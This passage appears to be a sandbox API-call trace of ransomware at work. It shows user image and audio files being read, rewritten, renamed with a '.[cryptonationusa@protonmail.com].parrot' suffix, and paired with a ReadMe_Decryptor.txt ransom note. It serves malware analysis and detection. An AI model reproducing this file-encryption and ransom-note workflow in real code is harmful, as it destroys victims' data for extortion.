hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0048.084] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0048.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0048.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x63c9d0 [0048.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x28fde30 [0048.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c9d0 | out: hHeap=0x540000) returned 1 [0048.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x2900dc8 [0048.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x28d9df0 [0048.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2900dc8 | out: hHeap=0x540000) returned 1 [0048.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x28fde30 [0048.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x28d9df0 [0048.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1682d) returned 0x2919e10 [0048.087] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.087] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x21c32) returned 0x2930648 [0048.088] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2919e10 | out: hHeap=0x540000) returned 1 [0048.089] WriteFile (in: hFile=0x2d4, lpBuffer=0x2930660*, nNumberOfBytesToWrite=0x169e8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2930660*, lpNumberOfBytesWritten=0x18fa94*=0x169e8, lpOverlapped=0x0) returned 1 [0048.089] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2930648 | out: hHeap=0x540000) returned 1 [0048.089] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x169e2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.089] CloseHandle (hObject=0x2d4) returned 1 [0048.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0048.090] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0048.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0048.090] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\c0-xoLFRw7.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\c0-xolfrw7.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\c0-xoLFRw7.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\c0-xolfrw7.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0048.091] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0048.091] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0048.091] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0048.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0048.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0048.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0048.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0048.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.092] GetFileType (hFile=0x2d4) returned 0x1 [0048.093] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0048.274] lstrcmpW (lpString1="cruuHscq7RSyENMhbNq5.png", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.274] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cruuHscq7RSyENMhbNq5.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cruuhscq7rsyenmhbnq5.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.274] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x17c2e [0048.274] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17d46, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.274] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.274] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0048.275] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.275] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x17c2e, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x17c2e, lpOverlapped=0x0) returned 1 [0048.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0048.276] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0048.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0048.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0048.276] GetLastError () returned 0x0 [0048.276] SetLastError (dwErrCode=0x0) [0048.276] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0048.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0048.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0048.276] GetLastError () returned 0x0 [0048.276] SetLastError (dwErrCode=0x0) [0048.276] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.276] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.276] GetLastError () returned 0x0 [0048.276] SetLastError (dwErrCode=0x0) [0048.276] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.277] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.277] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0048.277] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0048.277] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600980 [0048.277] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28fde30 [0048.277] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0048.277] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ffe70 [0048.277] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.277] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28d9df0 [0048.277] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ffe70 | out: hHeap=0x540000) returned 1 [0048.280] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28e1e30 [0048.281] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.281] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x61c990 [0048.282] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28e1e30 | out: hHeap=0x540000) returned 1 [0048.283] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5f4c70 [0048.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0048.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0048.283] GetLastError () returned 0x0 [0048.283] SetLastError (dwErrCode=0x0) [0048.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0048.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0048.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0048.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.283] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0048.283] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0048.283] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0048.283] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0048.284] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0048.284] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0048.285] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0048.285] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0048.285] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0048.285] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0048.285] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0048.285] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0048.285] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0048.285] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x63c9d0 [0048.285] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.285] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x28fde30 [0048.285] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c9d0 | out: hHeap=0x540000) returned 1 [0048.285] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x2900dc8 [0048.285] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x28d9df0 [0048.286] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2900dc8 | out: hHeap=0x540000) returned 1 [0048.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x28fde30 [0048.286] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x28d9df0 [0048.286] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.286] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1682d) returned 0x2919e10 [0048.288] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.288] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x21c32) returned 0x2930648 [0048.289] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2919e10 | out: hHeap=0x540000) returned 1 [0048.289] WriteFile (in: hFile=0x2d4, lpBuffer=0x2930660*, nNumberOfBytesToWrite=0x17d48, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2930660*, lpNumberOfBytesWritten=0x18fa94*=0x17d48, lpOverlapped=0x0) returned 1 [0048.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2930648 | out: hHeap=0x540000) returned 1 [0048.290] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17d46, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.290] CloseHandle (hObject=0x2d4) returned 1 [0048.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0048.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x28d14a8 [0048.291] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0048.291] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cruuHscq7RSyENMhbNq5.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cruuhscq7rsyenmhbnq5.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\cruuHscq7RSyENMhbNq5.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cruuhscq7rsyenmhbnq5.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0048.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0048.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0048.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0048.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0048.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0048.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0048.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0048.292] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.293] GetFileType (hFile=0x2d4) returned 0x1 [0048.293] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0048.304] lstrcmpW (lpString1="DaiRVCMbiUQ.mp3", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.304] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DaiRVCMbiUQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dairvcmbiuq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.304] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x11d3d [0048.304] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11e55, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.304] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.304] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0048.305] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.305] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x11d3d, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x11d3d, lpOverlapped=0x0) returned 1 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0048.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0048.306] GetLastError () returned 0x0 [0048.306] SetLastError (dwErrCode=0x0) [0048.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0048.306] GetLastError () returned 0x0 [0048.306] SetLastError (dwErrCode=0x0) [0048.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.306] GetLastError () returned 0x0 [0048.306] SetLastError (dwErrCode=0x0) [0048.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0048.306] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600980 [0048.307] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28fde30 [0048.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0048.307] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ffe70 [0048.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.307] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28d9df0 [0048.307] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ffe70 | out: hHeap=0x540000) returned 1 [0048.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28e1e30 [0048.310] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x61c990 [0048.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28e1e30 | out: hHeap=0x540000) returned 1 [0048.312] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c88 [0048.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0048.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0048.312] GetLastError () returned 0x0 [0048.312] SetLastError (dwErrCode=0x0) [0048.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, 